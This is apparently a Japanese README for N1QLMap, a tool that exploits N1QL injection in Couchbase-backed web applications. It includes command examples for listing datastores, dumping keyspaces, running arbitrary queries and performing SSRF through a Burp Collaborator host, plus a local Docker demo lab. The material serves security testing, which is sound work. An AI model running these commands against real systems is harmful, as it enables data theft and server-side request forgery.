
このツールは、N1QLインジェクションの脆弱性を悪用してCouchbaseデータベースからデータを流出させます。
N1QLMap は N1QL を利用した攻撃ツールです。現在は Couchbase データベースに対応しています。データの抽出や、CURL を介した SSRF 攻撃を実行できます。
詳細はこちら: https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database.
usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]
(-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])
host
positional arguments:
host Host used to send an HTTP request e.g. https://vulndomain.net
optional arguments:
-h, --help show this help message and exit
-r REQUEST, --request REQUEST
Path to an HTTP request
-k KEYWORD, --keyword KEYWORD
Keyword that exists in HTTP response when query is successful
--proxy PROXY Proxy server address
--validatecerts Set the flag to enforce certificate validation. Certificates are not validated by default!
-v, --verbose_debug Set the verbosity level to debug
-d, --datastores Lists available datastores
-ks DATASTORE_URL, --keyspaces DATASTORE_URL
Lists available keyspaces for specific datastore URL
-e KEYSPACE_ID, --extract KEYSPACE_ID
Extracts data from a specific keyspace
-q QUERY, --query QUERY
Run arbitrary N1QL query
-c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]
Runs CURL N1QL function inside the query, can be used to SSRF
request.txt ファイルに保存します。インジェクションポイントを *i* でマークしてください。参考として example_request_1.txt ファイルを参照してください。データストアの抽出:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores
特定のデータストア ID からキースペースを抽出:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"
指定したキースペースから全ドキュメントを抽出:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample
任意のクエリを実行:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'
CURL リクエスト / SSRF の実行:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"
脆弱性を試すために、Couchbase と NodeJS の Web アプリケーションが動作する Docker マシンを立ち上げることができます。必要な環境が既に整っている場合は、以下を実行するだけです:
cd n1ql-demo
./quick_setup.sh
これで、使用方法 セクションで説明したコマンドを、Docker 上の Web アプリケーションに対して実行できるようになります。
N1QLMap.py スクリプトは、Python 3 以外に特別な依存関係は必要ありません。
以下の必要条件は、n1ql-demo ディレクトリに含まれるデモのみのものです。
Kali に Docker と Docker Compose をインストールする手順:
# Docker インストール
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list
apt-get update
apt-get remove docker docker-engine docker.io
apt-get install docker-ce
# Docker サービス起動
systemctl start docker
# Docker Compose インストール
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
Docker をテスト:
docker run hello-world